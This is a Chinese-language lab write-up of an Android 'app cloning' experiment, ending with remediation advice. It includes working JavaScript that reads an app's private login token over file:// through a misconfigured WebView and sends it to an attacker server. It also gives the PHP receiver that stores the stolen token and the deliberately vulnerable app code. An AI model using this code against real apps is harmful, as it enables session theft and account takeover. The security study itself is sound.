深入挖掘APP克隆實驗
0×00前言
在上一篇文章《WebView域控不嚴格讀取內部私有檔案實驗》中,對webview跨域訪問進行了簡單的實驗,後續決定深入挖掘一下APP克隆,之前文章中講過的這裡也將不再贅述。
0×01實驗環境
基礎環境:win10,Android studio 3,eclipse(androidserver 開發),ubuntu12(hackserver)
模擬器:
要開發APP:AppClone,AttackAPP,StartClone
1、Androidserver
Login.jsp:根據使用者名稱密碼判斷是哪個使用者然後返回一個token給安卓端
Myinfo.jsp:根據token判斷是哪個使用者,然後返回其個人資訊。
Code區域:以上程式碼比較簡單,大家可以自行編寫或在網上找一段改改,這裡就不佔地方了
2、Hackserver
Code區域:
Receve.php主要用來接收APP傳過來的token,並儲存到newfile.txt中。
<?php$data = $_GET["data"];$myfile = fopen("/var/www/appclone/newfile.txt","w") or die("Unable to open file!");fwrite($myfile, $data);fclose($myfile);?>
sendToken.htm用來讀取shared_prefs下儲存的token併發送token到hackserver。
<html><script>var token = "";function iGetInnerText(testStr) { var resultStr = testStr.replace(/ +/g, ""); //去掉空格 resultStr = testStr.replace(/[ ]/g, ""); //去掉空格 resultStr = testStr.replace(/[rn]/g, ""); //去掉回車換行 return resultStr; }function loadXMLDoc(){ var arm ="file:///data/data//com.example.test0.appclone/shared_prefs/loginState.xml"; var xmlhttp; if (window.XMLHttpRequest) { xmlhttp=new XMLHttpRequest(); } xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4) { token= iGetInnerText(xmlhttp.responseText); token= token.substr(token.length-34); token= token.substr(0,19); document.write(token); sendToken(); } } xmlhttp.open("GET",arm); xmlhttp.send(null);}function sendToken(){ var arm = "http://www.hackserver.com/appclone/receive.php?data="+token; var xmlhttp2; if (window.XMLHttpRequest) { xmlhttp2=new XMLHttpRequest(); } xmlhttp2.onreadystatechange=function() { if (xmlhttp2.readyState==4) { //document.write(xmlhttp2.status); //document.write(arm); } } xmlhttp2.open("GET",arm); xmlhttp2.send(null);}loadXMLDoc();</script></html>
3、AppClone
被克隆的APP,mainactivity用於登入,successactivity顯示登入成功後的個人頁面。
Code區域:
mainactivity
/*
* 提示:該行程式碼過長,系統自動註釋不進行高亮。一鍵複製會移除系統註釋
* <?xml version="1.0"encoding="utf-8"?><LinearLayoutxmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:id="@+id/ll1" android:layout_width="fill_parent" android:layout_height="fill_parent" android:orientation="vertical" > <TextView android:text="使用者名稱" android:layout_width="match_parent" android:layout_height="wrap_content"/> <EditText android:id="@+id/username" android:layout_width="match_parent" android:layout_height="wrap_content"/> <TextView android:text="密碼" android:layout_width="match_parent" android:layout_height="wrap_content"/> <EditText android:id="@+id/password" android:layout_width="match_parent" android:layout_height="wrap_content"/> <Button android:id="@+id/button" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="登入"/> <ScrollView android:id="@+id/scrollView1" android:layout_width="match_parent" android:layout_height="wrap_content" android:layout_weight="1"> <LinearLayout android:id="@+id/ll2" android:layout_width="match_parent" android:layout_height="match_parent"> <TextView android:id="@+id/result" android:layout_width="match_parent" android:layout_height="wrap_content" android:layout_weight="1"/> </LinearLayout> </ScrollView></LinearLayout>public class MainActivity extends Activity{ private EditText username; private EditText password; private Button button; private Handler handler; private String result=""; private TextView resultTV; public static final String Intent_key="token"; public static final String Intent_url="URL"; private SharedPreferences preferences; private String urlInfo ="http://www.androidserver.com:8080/ad/myinfo.jsp?token="; private SharedPreferences.Editor editor; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); requestWindowFeature(Window.FEATURE_NO_TITLE); setContentView(R.layout.activity_main); //獲取preferences和editor物件 preferences = getSharedPreferences("loginState",MODE_PRIVATE); editor = preferences.edit(); String token =preferences.getString("token","fail"); Intent intent = new Intent(this,SuccessActivity.class); Bundle bundle = new Bundle(); if(token.equals("user3_login_success")){ bundle.putString(Intent_key, token); bundle.putString(Intent_url, urlInfo + token); intent.putExtra("bundle", bundle); startActivityForResult(intent,0); }else if(token.equals("user4_login_success")){ bundle.putString(Intent_key, token); bundle.putString(Intent_url, urlInfo + token); intent.putExtra("bundle", bundle); startActivityForResult(intent,0); } username=(EditText)findViewById(R.id.username); password=(EditText)findViewById(R.id.password); resultTV=(TextView)findViewById(R.id.result); button=(Button)findViewById(R.id.button); button.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View arg0) { if("".equals(username.getText().toString())){ Toast.makeText(MainActivity.this, "請登入", Toast.LENGTH_SHORT).show(); return; } new Thread(new Runnable() { @Override public void run() { login(); Messagem=handler.obtainMessage(); handler.sendMessage(m); } }).start(); } }); handler=new Handler(){ @Override public void handleMessage(Message msg) { if(result!=null){ resultTV.setText(result); username.setText(""); password.setText(""); } super.handleMessage(msg); } }; } //當從secondActivity中返回時呼叫此函式,清空token @Override protected void onActivityResult(int requestCode, int resultCode, Intentdata) { super.onActivityResult(requestCode, resultCode, data); if(requestCode==0 && resultCode==RESULT_OK){ Bundle bundle = data.getExtras(); String text =null; if(bundle!=null) text=bundle.getString("return"); Log.d("text",text); editor.remove("token"); editor.commit(); } } public void login() { String target="http://www.androidserver.com:8080/ad/login.jsp"; URL url; try { url=new URL(target); HttpURLConnection urlConn=(HttpURLConnection)url.openConnection(); urlConn.setRequestMethod("POST"); urlConn.setDoInput(true); urlConn.setDoOutput(true); urlConn.setUseCaches(false); urlConn.setInstanceFollowRedirects(true); urlConn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); DataOutputStream out=new DataOutputStream(urlConn.getOutputStream()); String param="username="+URLEncoder.encode(username.getText().toString(),"utf-8") +"&password="+URLEncoder.encode(password.getText().toString(),"utf-8"); System.out.println(username); out.writeBytes(param); out.flush(); out.close(); if(urlConn.getResponseCode()==HttpURLConnection.HTTP_OK){ InputStreamReader in=newInputStreamReader(urlConn.getInputStream()); BufferedReader buffer=newBufferedReader(in); String inputLine=null; String token = ""; result = ""; while((inputLine=buffer.readLine())!=null){ result+=inputLine; } in.close(); Intent intent = newIntent(this,SuccessActivity.class); Bundle bundle = new Bundle(); if(result.indexOf("user3_login_success")!=-1){ token ="user3_login_success"; }elseif(result.indexOf("user4_login_success")!=-1){ token ="user4_login_success"; }else{ return; } editor.putString("token",token); bundle.putString(Intent_key,token); bundle.putString(Intent_url,urlInfo + token); editor.commit(); intent.putExtra("bundle", bundle); startActivityForResult(intent,0); } urlConn.disconnect(); } catch (MalformedURLException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } }}
*/
successactivity
<?xml version="1.0"encoding="utf-8"?><LinearLayoutxmlns:android="http://schemas.android.com/apk/res/android" android:orientation="vertical" android:layout_width="match_parent" android:layout_height="match_parent"> <TextView android:id="@+id/textView" android:layout_width="fill_parent" android:layout_height="50dp" /> <Button android:id="@+id/button" android:layout_width="wrap_content" android:layout_height="wrap_content" android:hint="點選按鈕返回" /> <WebView android:layout_width="match_parent" android:layout_height="match_parent" android:id="@+id/webView" /></LinearLayout>public class SuccessActivity extendsAppCompatActivity { private Button button=null; private TextView textView =null; private WebView webView; private String url = ""; private String text = ""; private class ButtonListener implements OnClickListener { @Override public void onClick(View v) { switch (v.getId()){ case R.id.button: Intent intent =getIntent(); Bundle bundle =newBundle(); bundle.putString("return","return fromSuccessActivity!"); intent.putExtras(bundle); setResult(RESULT_OK,intent); finish(); break; } } } public void initView(){ button= (Button) findViewById(R.id.button); textView= (TextView) findViewById(R.id.textView); button.setOnClickListener( new ButtonListener() ); textView.setText(text); } @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_success); webView = findViewById(R.id.webView); webView.getSettings().setAllowFileAccess(true); webView.setWebViewClient(new WebViewClient() { public void onPageFinished(WebView view, String url) { } }); WebSettings webSettings = webView.getSettings(); webSettings.setJavaScriptEnabled(true); //webView.getSettings().setAllowFileAccessFromFileURLs(true); //webView.getSettings().setAllowUniversalAccessFromFileURLs(true); Intent intent =getIntent(); Bundle bundle = intent.getBundleExtra("bundle"); String token = bundle.getString(MainActivity.Intent_key); if(token.equals("user3_login_success")){ text ="張三登入成功"; }else if(token.equals("user4_login_success")){ text ="李四登入成功"; } url = bundle.getString(MainActivity.Intent_url); initView(); webView.loadUrl(url); }}
4、AttackAPP
Httpdownloader負責下載檔案,Fileutil負責寫檔案,整個APP的功能是從hack.com上下載的sendToken.htm儲存到/sdcard/Download/目錄下,下載完成然後在調起被克隆的APP,讓被克隆的APP載入sendToken.htm,從而把token傳送到hackserver伺服器上。
Code區域:以上程式碼比較佔地方,網上也很多,大家可以自己下一些改改就可以了。
5、StartClone
此APP就一個mainactivity,功能是從hackserver獲取newfile.txt中儲存的token,然後帶著token從外部調起APPClone,從而實現克隆。
Code區域:以上程式碼大家可以網上搜搜自己改改就可以了。
0×02 實驗內容
克隆基本思路
User3手機
1、 當啟動AppClone時,先判斷shared_pfres下有沒有使用者登入的token,如果有則直接進行successactivity,如果沒有則在mainactivity中輸入使用者名稱密碼進行登入,登入成功儲存token。這裡使用zhangsan登入。
2、 啟動attackapp,主要功能是下載hackserver上sendToken.htm並儲存到/sdcard/Download/目錄下,等下載完成,對appclone發起外部呼叫,讓successactivity載入/sdcard/Download/sendToken.htm把token傳輸到hackserver上,hackserver收到token後儲存到newfile.txt中。
User4手機
1、 啟動AppClone並使用lisi賬號登入。
2、 啟動startclone,startclone會請求newfile.txt裡的token值,然後使用這個token從外部調起APPClone,直接讓successactivity接收到的token為zhangsan的token,進而登入張三的個人資訊頁,從而實現克隆。
0×03 實驗步驟
1、啟動兩個虛擬機器:
user3是被克隆的手機,裝有兩個app(AppClone,準備被克隆的APP,AttackAPP,發起攻擊的APP)
user4是用來克隆的手機,裝有兩個app(AppClone,準備被克隆的APP,StartClone,開始克隆)
2、啟動user3上的Appclone,並使用zhangsan登入,登入成功後會進入個人資訊頁面
3、啟動user4上的Appclone,並使用lisi登入,登入成功可以看到張三和李四的個人資訊頁面裡的錢是不一樣的。
4、在user3上啟動AttackAPP ,這裡hackserver上的newfile中是沒有資料的
點選開始攻擊後資料被上傳到hackserver,點選檢視檔案內容,可以看到被寫入的token
5、執行startClone後,可以看到user4的手機也變成了張三的登入狀態,克隆成功。
0×04 修改程式碼
1、如果不開啟setJavaScriptEnabled,那麼sendToken.htm將無法執行其中的js程式碼,也就無法將token傳送到hackserver上。
2、本來看文章說是在js中訪問file:///要開啟setAllowFileAccessFromFileURLs(true),但是實驗下來不需要也可以。
3、如果把setAllowUniversalAccessFromFileURLs(true)也註釋掉則token傳輸失敗,也就是說不開啟它則無法把資料傳輸給遠端伺服器。
0×05 實驗中遇到的問題及解決思路
1、 sd卡寫入許可權問題,一開始使用的虛擬機器是安卓8.0在AndroidManifest申請好許可權,但是無論如何也寫入不成功,後來一查發現安卓6.0後需要在程式碼中動態申請許可權,經過嘗試之後發現很程度很容易崩潰,一定是我不懂開發的原因,轉而換成安卓5.1的虛擬機器,直接在AndroidManifest申請許可權就可以了。 2、 未開啟js訪問,無論如何token都不能傳送成功,然後把js刪除發現htm確實被載入了,想到很有可能是這個原因,於是補上了webSettings.setJavaScriptEnabled(true);問題解決了。 3、 網路訪問(下載)需要非同步請求,不然程式也會出問題。
0×06 修復建議
通過實驗發現做到以下幾點,都可以防範:
1、webview不開啟webSettings.setJavaScriptEnabled(true);
2、webview不開啟setAllowUniversalAccessFromFileURLs(true)
還有之前文章中提到的:
1、 設定activity不可被匯出
2、 禁止WebView 使用 File 協議,而且是明確禁止